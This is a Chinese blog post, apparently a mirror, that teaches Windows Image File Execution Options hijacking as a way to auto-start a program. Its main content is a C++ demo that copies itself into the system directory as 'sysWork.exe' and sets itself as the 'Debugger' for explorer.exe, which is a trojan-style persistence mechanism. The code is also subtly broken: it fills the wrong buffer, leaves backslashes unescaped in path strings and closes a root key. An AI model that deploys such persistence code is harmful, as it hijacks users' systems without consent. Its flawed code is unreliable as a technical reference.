zoukankan      html  css  js  c++  java
  • 安全之路 —— 通过映像劫持实现文件自启动

    简介

    Windows映像劫持技术是微软提供给软件开发者调试使用的在注册表项,能够替换目标进程执行。但如果被病毒木马利用,便会成为触发式自启动的绝佳方式,所以修改映像劫持的操作行为也被反病毒软件列为极其危险的行为之一。

    • 实现映像劫持修改的注册表项为:
    1. HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionImage File Execution Options

    在项下添加新的子键,名为替代启动的目标进程名,例如“cmd.exe”,然后创建新的值项为“Debugger”,值为新的进程路径。

    C++代码样例

    ////////////////////////////////////////////////
    //
    // FileName : ifeoDemo.cpp
    // Creator : PeterZ1997
    // Date : 2018-5-5 18:44
    // Comment : Image File Hijacking Demo
    //
    ////////////////////////////////////////////////
    
    #include <cstdio>
    #include <cstdlib>
    #include <cstring>
    #include <iostream>
    #include <windows.h>
    
    using namespace std;
    
    const unsigned int MAX_COUNT = 255;
    BOOL g_fileExistFlag = false;
    
    /**
     * @brief 封装字符型注册表操作
     * @param hRoot root key
     * @param szSubKey sub key after the root key
     * @param szValueName key name
     * @param szData key Data
     * @return Boollean Value
     */
    BOOL setStringValueToReg(HKEY hRoot, const char* szSubKey, const char* szValueName, const char* szValue)
    {
        HKEY hKey;
        long lRet;
        if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
        if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_SZ, (BYTE*)szValue, strlen(szValue))) return false;
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return true;
    }
    
    /**
     * @brief Main Function
     */
    int APIENTRY WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
    {
        CHAR szSystemFilePath[MAX_COUNT] = "";
        CHAR szSelfFilePath[MAX_COUNT] = "";
        CHAR szExplorerPath[MAX_COUNT] = "";
        GetSystemDirectory(szSelfFilePath, sizeof(szSystemFilePath));
        strcat_s(szExplorerPath, sizeof(szExplorerPath), "C:\Windows\explorer.exe");
        strcat_s(szSystemFilePath, sizeof(szSystemFilePath), "\sysWork.exe");
        GetModuleFileName(NULL, szSelfFilePath, sizeof(szSelfFilePath));
        if (!CopyFile(szSelfFilePath, szSystemFilePath, true))
        {
            setStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe", "Debugger", "");
            WinExec(szExplorerPath, SW_SHOW);
        }
        setStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe", "Debugger", szSystemFilePath);
        MessageBox(NULL, "HelloWorld", "Tips", MB_OK);
        ExitProcess(0);
        return 0;
    }
  • 相关阅读:
    非root用户在linux下安装多个版本的CUDA和cuDNN(cuda 8、cuda 10.1 等)
    python相关总结
    可视化滤波器
    Ubuntu 和windows程序区别
    远程服务器运行代码相关
    Ubuntu
    jmeter学习(1)基础支持+安装部署
    python中eval方法的使用
    mysql学习(4)python操作数据库
    mysql学习(3)10045错误,连接不上数据库
  • 原文地址:https://www.cnblogs.com/csnd/p/12897012.html
Copyright © 2011-2022 走看看